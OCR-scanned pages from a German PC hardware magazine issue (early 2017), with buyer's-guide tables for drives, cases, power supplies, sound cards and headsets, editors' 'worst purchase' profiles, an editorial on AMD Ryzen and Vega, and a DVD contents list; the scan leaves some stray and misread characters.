Toshiba DTO1ACA300 Са. Є 85,- | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
II TE Western Digital Red WD30EFRX Ca. € 110,- | 2.794 GiB/3.000 GB | K.A. 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung Test in PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
I ER Hitachi Deskstar HDS724040ALE640 Ca. € 180,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WD40EFRX Ca. € 160,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung Test in PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 330,- | 5.589 GiB/6.000 GB | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
ТШТУ; Western Digital Red WD60EFRX Ca. € 250,- | 5.589 GiB/6.000 GB | K. A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer Gehäuse, Netzteile & Sound 


Preise: Stand 19.12.2016 


WELT Т PREIS-LEISTUNGS-TIPP 


ШШ o SPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter Go р We y Temper tn VALTICE Test in PCGH-Preisvergleich 
rangabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 200,- | 9x 140, 2 x 120 mm 3x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °С** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 120,- | 4x 140/120 mm, 2 x 140 mm 3x140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 «Т ТЛ 
Aerocool XPredator II Big-Tower | Ca. € 130,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °С** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Ca. € 75,- | 4х 140, 1x 120 mm 2x 120 mm 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1771 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 155,- | 2x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1571 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4x 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТТА 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °C* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 130,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 110,- | 5x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 125,- 4x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 105,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Ca. € 100,- | 4x 140/1 x 120 mm 2x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 *C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Arc XL Big-Tower | №. verfügb. | 7 x 140/120 mm 3x 140 mm 3,2/3,1; 2,2/2,4 Sone | 73/90/34 °C* 1,95 03/2016 | www.pcgh.de/preis/1037116 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9x 140/120 mm 2x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °С* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Antec P380 Midi-Tower | Ca. € 160,- 4x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,2; 2,1/2,3 Sone | 74/85/35 °C 2,00 04/2015 | www.pcgh.de/preis/1211049 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 


** System: Intel Core 17-4790; Intel 287, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Themalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (АТХ), Umgebungstemperatur: 24 °C 

400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 140,- | 4 x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Са. € 170,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
Cooler Master V550 Са. € 100,- | 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 www.pcgh.delpreis/1325567 «Т Tri 
EVGA G2 550W Са. € 100,- | 2 x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 | 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90- | 2 x 6+2-Pin (58 cm) 550 Wa 0,1/0,1/0,1/0,1/0,2 Sone | 85/90/92/91/90 % 1,64 | 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold N. verfügb. | 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 | 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 М | Lautheit* Effizienz* Test in PCGH-Preisvergleich 
Seasonic Prime Titanium 650W Ca. € 200,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Ca. € 160,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 | 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in PCGH-Preisvergleich 
Corsair HX1000i Са. € 210,- | 4 x 2 6+2-Pin (60, 74 ст) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 | 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Ca. € 160,- | 4 x 6+2-Pin (50 cm) 840 Wat 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 140,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 | 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate EE eech pair LUN E Besonderheiten u. a. Test in 

Creative Sound Blaster ZxR Ca. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Ca. 210,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate EE КОШОМ: puce ei Besonderheiten u. a. Test in 

Creative Sound Blaster X7 Са. 350,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB а, TPA6120A2 a/ja Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni | Ca. 65,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 «Т ТЛ. 
Asus Xonar U5 Ca. 65,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TPS6130A2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 


Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 

Steelseries Siberia 800 Ca. 240,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Audio-Technica ATH-ADG1 | Ca. 350,- | USB, Klinke Offen, ohrumschlieBend 280 Gramm | 38 Ohm Nein USB-DAC 1,92 12/2014 | www.pcgh.de/preis/1151658 

Kingston Hyper X Cloud 2 | Ca. 80,- | USB, Klinke Geschlossen, ohrumschließend | 320 Gramm | 60 Ohm Ja, virtuell | Kabelfernbedienung, Presets 1,94 08/2015 | www.pcgh.de/preis/1223096 

Asus Strix DSP Ca. 135,- | USB, Klinke Geschlossen, ohrumschließend | 390 Gramm | 32 Ohm Ja, virtuell | Tischbox mit vielen Funktionen 1,96 05/2016 | www.pcgh.de/preis/1195357 

Corsair Void RGB Wireless | Ca. 110,- | Funk Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Ordentliche Software 1,97 06/2016 www.pcgh.de/preis/1307022 ТТ 
Sennheiser G4me One Ca. 180,- | Klinke Halboffen, ohrumschließend 270 Gramm | 50 Ohm Nein Mikrofon-/Lautstärkeregler integriert 2,18 | 04/2014 | www.pcgh.de/preis/1042573 

Bitfenix Flo Ca. 50,- | Klinke Geschlossen, ohraufliegend 200 Gramm | 68 Ohm Nein Kabel und Mikrofon abnehmbar 2,32 08/2014 www.pcgh.de/preis/1059580 ТҮҢ 
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THILO BAYER 
Chefredakteur | tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


RAFFAEL VÖTTER 


Leitender Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Im „Spielzimmer” auf dem Dachboden ist es im Moment einfach 
zu kalt zum Zocken. Für das Aufräumen des Fotoarchivs reicht es gerade noch. 


Mein größter Fehlkauf bisher ... war ein aufreizend günstiger Full- 
HD-Monitor, den ich eigentlich nur als Zweitdisplay nutzen wollte. Die 
Ausleuchtung war aber so ungleichmäßig, dass ich das Ding gleich wieder 
retourniert habe. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
2170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 
Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Über die Weihnachtsfeiertage gedenke ich, den schnellstmógli- 
chen Rechner für meine Voodoo 5 6000 AGP zu bauen — noch mal —, mit ei- 
nem Pentium-M (Dothan) @ 3 GHz. Ob das klappt, lesen Sie nächsten Monat. 


Mein größter Fehlkauf bisher ... war eine Geforce 5900 im Herbst 2003. 
Sie erfüllte meine Erwartungen nicht (zuvor war eine Ti-4200 im PC), weshalb 
Sie wenige Tage spáter einer Radeon 9800 Pro OC wich — was für eine Rakete! 


Privat-PC: i7-5820K @ 2,5 GHz (0,78V), Asrock X99X Killer, 4 x 4 GiB DDR4, 
Asus GTX Titan X + Accelero Xtreme IV  1.450/4.196 MHz, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Wie in der letzten Ausgabe (#Printbait) angekündigt, gibt es hier 
nun die Auflösung zur Weihnachtsanschaffung im PC-Bereich. Mit Stolz verkün- 
de ich, dass ein 2-in-1-Windows-10-Tablet den TV smart gemacht hat. 


Mein größter Fehlkauf bisher ... Ich neige nicht dazu, Fehlinvestments 
zu tätigen, aber zuweilen werde ich von Produkten aus verschiedenen Gründen 
enttäuscht: Alfa GTV, Absolut Vodka Vanille, Kenwood 72x-CD-ROM, Rosenkohl ... 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24-Zoll-LCD, Obsidian 800D 


MANUEL CHRISTA 
Redakteur | mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Der Umzug in ein Phanteks Evolv ATX ist vollzogen und nach 
einigem Ausprobieren bin ich mit der Steuerung der Gehäuselüfter (an CPU- 
Temperatur gekoppelt; im Idle ausgeschaltet) recht zufrieden. 


Mein größter Fehlkauf bisher ... war wohl mein erster Ausflug ins CoD- 
Universum, Modern Warfare 3. Auf Drängen einiger Freunde kurz nach Veröffent- 
lichung gekauft und dann rund zwei Stunden gespielt. 


Privat-PC: Core i7-4790K @ H,O, Asus Z97-A, Corsair 16 GiB DDR3-1600, 
Radeon R9 390, Sandisk Ultra II 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Es ist mir schier unverständlich, wie hier Kollegen monatlich über 
neue Hardware-Anschaffungen berichten können. In der Regel verwende ich 
doch tatsächlich ein und dieselbe Konfiguration über Monate hinweg! 


Mein größter Fehlkauf bisher ... war vielleicht die erste Pebble-Smart- 
watch, ein unterwegs verschollenes China-Smartphone, eine Noname-Micro- 
SD mit 128 GB, aber unterirdischen Datenraten — hab ein Talent für Fehlkäufe. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


PC aktuell: Viel Neues gibt's momentan nicht. Tyranny ist Spitzenklasse! 


Mein größter Fehlkauf bisher ... neben diversen Spielen, die ich einfach 
(noch) nicht gespielt habe und somit unsinnigerweise gekauft habe? Hmm, 
schwierig. Ich schátze, mein damals recht teurer Mini-Disk-Player, obwohl ich 
den ganz cool fand und recht lange eingesetzt habe. Oder eins der labilen Han- 
dys, die ich gefühlt ein paar Tage nach dem Kauf schon wieder zerbróselt hatte. 


Privat-PC: 17-5820К @ 4,2 GHz, MSI X995, 32 GiB DDR4, 960 GB SSD, 3x 
WD 3 TB, Asus GTX 980 @ 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÓWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeráte, Mauspads und G 


PC aktuell: Keine großen Änderungen, die Wintermonate wird durchgezockt. 


Mein größter Fehlkauf bisher ... ist schwer auszumachen, weil ich ei- 
gentlich versuche, möglichst sorgsam mit meinem bisschen Geld umzugehen 
und mich vor einem Kauf umfassend informiere. Ich muss allerdings zugeben, 
damals auf HD-DVD anstelle von Blu-ray gesetzt zu haben. Heute nutze ich 
ein USB-Kombi-Laufwerk, sodass die Scheiben zumindest nicht vergammeln. 


Privat-PC: i7-4770K (4,0 GHz/0,95V), 16 GiB DDR3-1600 (7-8-8-24-1T), 238- 
GiByte-SSD, Radeon RX 480/4(+4)G, 24-Zoll/120Hz-LCD, Knickfeder-Tastenbrett 


PC aktuell: Ich habe wieder gebastelt und meinen Monitor an der Wand 
befestigt. Dank der neuen Wandhalterung lásst er sich jetzt nicht nur flexibler 
bewegen, sondern wackelt auch nicht mehr bei heftigen Lenkbewegungen. 


Mein größter Fehlkauf bisher ... war eine Logitech-Trackball-Maus kurz 
nach der Jahrtausendwende. Leider war die (natürlich) ganz und gar nicht 
shootertauglich und wurde alsbald durch eine Razer Boomslang ersetzt. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


TORSTEN VOGEL 


Redakteur | tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


d of Affiliate & E-Commerce | dwGpcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: Ich habe noch einmal 45 MHz extra aus der 780 Ti gequetscht, 
ohne dass Mafia 3 häufiger abstürzt, als es das ohnehin von sich aus macht. 


Mein größter Fehlkauf ... war Ende der 90er ein Teac-Lautsprechersystem 
mit Subwoofer, fünf Satelliten und — laut einem Konkurrenzmagazin — erstklas- 
sigem Surround-Sound. Tatsáchlich hatte das Ding nur einen Stereo-Eingang 
mit Dolby Pro Logic und besagtes Magazin in Folge einen Leser weniger. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
@ 1.245/3.800 MHz; alles @ Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


STEPHAN WILKE 


Community Content Commerce Manager | sw@pcgh.de | Fachb: 


PC aktuell: The Vanishing of Ethan Carter und Journey of a Roach sind durch- 
gespielt. Ganz viel Spaß macht mir Toxikk im Multiplayer — das sollte sich jeder 
Anhánger von Arena-Shootern und speziell UTO4 wirklich mal ansehen. 


Mein größter Fehlkauf ... waren nagelneue Hitachi-Festplatten mit 2 TByte. 
Davon hatte ich 3(?) Stück gekauft, erst einmal eingelagert und zwei Exemplare 
stellten sich als defekt heraus. Nummer 3 ist heute noch eingeschweißt ... 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 


PC aktuell: Endlich habe ich herausgefunden, was meine Internetleitung 
lahmlegt. Es ist der Windows-10-Dienst „svchost.exe (netsvcs)", obwohl die 
Updates auf dem neuesten Stand sind. Hilfe, ich will wieder Windows 7! 


Mein grófiter Fehlkauf bisher ... war vor zehn Jahren der Sony-Cam- 
corder HDR-HC3. Auf einem Ati-Event in Kanada (vor der Übernahme durch 
AMD) kam der mal zum Einsatz, sonst war es aber eher ein Staubfänger. 


Privat-PC: Core 17-4770, 16 GiB DDR3 (Corsair), Gigabyte 287-Воага, MSI 
GTX 760, 624-GB-SSD, LG BH10LS, Samsung S27A850D, WD EX2100 NAS 


Thema des Monats: Mein größter Fehlkauf 


Wer kennt das nicht: Ob mit oder ohne sorgfáltige Ausgabenplanung landet früher 
oder spáter einmal ein Einkaufsgegenstand im trauten Heim, welcher einfach nichts 
taugt oder die Erwartungen nicht erfüllt. Egal ob es sich um einen Einkauf aus der 
IT handelt oder aus einem anderen Lebensbereich — hier erfahren 
Sie, was den PCGH-Redakteuren schon einmal die Shopping-Laune 
fürs Erste verdorben hat. Wenn auch Sie spannend und/oder spaßige 
Fehlkäufe getätigt haben, schreiben Sie uns an redaktion@pcgh.de! 
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Mini-ITX: Wohnzimmer-P 


Diesen Monat hat es wegen anderer Themen 
nicht geklappt, doch in der kommenden Aus- 
gabe erfahren Sie, welche Komponenten sich 
für den Bau eines Mini-Rechners eignen. 


SSD vs. HDD: 
Der Spiele- 


Die heilsame Wirkung von SSDs in 
neuen Spielen getestet 


Z270-Main- 
boards* 


Neue Behausungen für Intels 
neue Kaby-Lake-CPUs der 7000er- 
Serie im Test 


Weitere Themen (u. a.) 

I Tests: Günstige Notebooks, Headsets, Tastaturen & Joysticks 
I Praxis: BIOS-Mods für Polaris-Chips (Radeon RX 400) 

I Info: Kaufberatung (Teil 3): Grafikkarten, HDR-Displays 


Vollversion 
Tropico 5 


Die náchste PC Games Hard- 
ware erscheint am 1. Februar 
2017. Abonnenten bekommen 
das Heft üblicherweise 
einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewähr. Aufgrund von Termin- 
verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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Erstmals getestet: Wird HDR 2017 die neue Spiele-Revolution? 
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MSI Motherboards erhalten Sie bei: Alternate - Amazon · Arlt - Bora Computer - Caseking - Computeruniverse - Cyberport - hwh - Mindfactory - Notebooksbilliger und im Fachhandel 


TRUE GAMING WWW.MSI.COM 


Editorial | SERVICE 


So ist eine der ungewöhnlichsten 
Ausgaben entstanden 


Eine ungewöhnliche Ausgabe: Die 197. Ausgabe von PC Games Hardware ist sicher eine der 


ungewöhnlichsten und das hat viele Gründe. So war bereits die Entstehung bemerkenswert, : facebook 
denn unser Mainboard-Fachmann Torsten fiel mit einer Knochenabsplitterung im Schreibarm : 
komplett aus - und das bei stetig wachsenden Bergen von Hauptplatinen-Testmustern. Er ließ : РССН-Ғап werden auf: 


es sich trotzdem nicht nehmen, seinen Senf zur nun kompletten AM4-Chipfamilie abzugeben. 
g Aber auch inhaltlich ist diese Ausgabe ungewöhnlich. Mit der Radeon-Historie, dem P4-Retro- 

* Artikel und der seltenen Voodoo 5 5500 mit 128 МїВ Speicher sowie 210 MHz Takt blicken 

wir teilweise weit zurück auf die Komponenten-Geschichte für Spieler. Und das ausgerechnet 

- oder gerade wegen - des bald anstehenden Comebacks von AMD im High-End-Markt bei 


Prozessoren (Ryzen) und Grafikkarten (Vega). Beide Themen beleuchten wir übrigens eben- 


Thilo Bayer 
нү түйүн falls ausführlich. Man könnte fast sagen, die Ausgabe 03/2017 lässt uns mit ihren ausführlichen 
PC Games Hardware Rückblicken für einen Moment innehalten, bevor AMD dann mit aller Macht versuchen wird, 


die aktuelle Dominanz von Intel und Nvidia im Hochpreissegment zu brechen. Die Messlatte 
liegt dabei hoch, speziell bei Prozessoren. AMD verspricht bekanntlich, dass die Zen- gegenüber Excavator-Kernen (min- 
destens) 40 Prozent mehr Berechnungen pro Megahertz leisten können. Das ist ein gewaltiger Leistungssprung, den In- 
tel zuletzt beim Umstieg von Pentium 4 auf Core 2 geschafft hat. Nötig wäre es allemal, dass Intel ernsthafte Konkurrenz 
bekommt. Mit der 7. Core-Serie wurden wieder einmal nur ein paar Hundert MHz mehr draufgepackt. Ansonsten fallen 
bei Kaby Lake eigentlich nur ein überteuerter Core i3 mit offenem Multiplikator und Pentium-Prozessoren auf, die nun 
Hyper-Threading beherrschen - das sagt schon viel über die aktuellen Innovationen bei Intels Desktop-CPUs aus. 


AMD ist optimistisch: AMD wird es freuen, denn man zeigte sich zuletzt sehr selbstbewusst. Robert Hallock, Technical : S 
Marketing Manager, verriet im Interview, dass er in seinen sieben Jahren bei AMD noch nie so einen Enthusiasmus bei | Wasserkühlung 
seinen Partnern gesehen habe. AMD habe einige Jahre lang keine echte High-End-Desktop-CPU geliefert, aber jetzt sei i 
man wieder da. Das liege auch an Intelund den mageren Leistungsverbesserungen der letzten CPU-Generationen. Viele 
Spieler seien noch mit Ivy Bridge, Sandy Bridge, FX und Phenom 2 unterwegs - und denen möchte AMD sagen, dass 


„Ryzen die erste Wahl für euer nächstes Upgrade ist“. 


Viel Spaß mit der Ausgabe Nummer 197 wünscht Ihr 
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Testlabor. Mit im Testfeld: die brandneuen Beyer- 
dynamic MMX 300 Gen. 2 und Custom Game. 
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Raff widmet sich dem Voodoo-Zauber und scheucht eine stark übertakte- 
te 3dfx Voodoo 5 5500 (128 MiB @ 210 MHz) durch Retro-Benchmarks. 


Die Redaktion 


im Januar 2017 


+++ Manuel wirft einen kritischen Blick auf die ersten HDR-Bildschirme und über- 
prüft zusätzlich noch vier Notebooks mit Kaby-Lake-CPU auf ihre Spieletauglichkeit 
+++ Mark und Thilo präsentieren Ihnen die neuesten Hardware-Trends von der 
Der Spieleonkel lässt es wieder "= > < CES 2017 +++ Carsten gibt einen ausführlichen Überblick über die Geschichte der 
bunt leuchten und testet in seiner AMD-Grafikkarten +++ Raff hat in seiner GPU-Kaufberatung wertvolle Tipps auf 


Marktübersucht u. a. mechanische Р Pë : I 
Tastaturen mit RGB-Beleuchtung. Lager und zeigt, was Sie beim Kauf einer aktuellen Grafikkarte beachten sollten. 
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Grafikkarten-Kaufberatung 


Unser 10-Seiten-Special hilft Ihnen dabei, die richtige Grafikkarte 
für Ihre Lieblingsspiele und Nutzungsgewohnheiten zu finden. 


Info: Kaufberatung Grafikkarten.................. 08 
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Startseite. 30 
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Retro: 3dfx Voodoo 5 ехїгет...................... 32 
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neue Benchmarks altehrwürdiger Hardware 
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Startseite. A0 
Leistungsindex von 40 Prozessoren, Test des 
Spartipps AMD FX-8300 


Test: Core i3-7350K & Pentium G4560........ 42 
Intels neue Zweikerner mit Kaby-Lake-Innereien 
getestet und übertaktet 
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was aus den Erwartungen wurde. 
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Mit den besten Empfehlungen 


Notebook 

Ideapad 510-15IKB Full-HD 
Gun Metal DISPLAY 
° 2x USB 3.0, 1x USB 2.0, HDMI 39,6 cm 

• Windows 10 Home (64 Bit) 

ArtNr: 17040257543 — (1 5,6 Zoll) 


— 


Intel® Core™ i5 Prozessor der neuesten 7. Generation 
kombiniert mit einer ultraschnellen 256 GB SSD Platte! 


Intel® Core™ i5-7200U Prozessor 
(3MB Cache, bis zu 3.10 GHz) 
Nvidia" GeForce 940MX - 2 GB 
8 GB DDR4 Arbeitsspeicher 


256 GB SSD + 1000 GB HDD 
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_ SERVICE | DVD-Highlights 


5 Videos: 


1 Spielen mit High 


Vollversion 
® Tropico 5 


Videos aus der PCGH-Redaktion 
® Spielen mit High Dynamic Range: Bildvergleich HDR vs. SDR 
® Marktübersicht Headsets von 60 bis 300 Euro 

® Marktübersicht Tastaturen — Die Highlights 

® Kaufberatung Grafikkarten 

3» PCGH-Retro 11/2008 


Specials 
29 Begleitmaterial 15 Jahre Pentium 4 
29 Begleitmaterial Voodoo 5 128 MiB OC 


Tools 


® GPU-Z 1.16.0, MSI Afterburner 4.3.0, Nvidia Inspector 1.9.7.8, 


Sapphire Trixx 6.3.0 


29 AS-SSD Benchmark 1.9.5986, Cinebench R15, Fraps 3.5.99, 
Prime 95 28.10, Super Pi 1.9 


® Core Temp 1.5.1, CPU-Z 1.78, Speedfan 4.52 


Treiber 
® Nvidia Geforce 376.33 WHQL (Win 10/8.1/8/7 64 Bit) 
Geforce 376.60 Hotfix (Win 10 32/64 Bit, Win 8.1/8/7 64 Bit) 


29 AMD Radeon Software Crimson Relive 16.12.2 WHQL 
(Win 10 32/64 Bit, Win 8.1/7 64 Bit) 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware kónnen Sie uns bequem Rückmeldung geben, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und 
ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
www.pcgh.de/feedback 


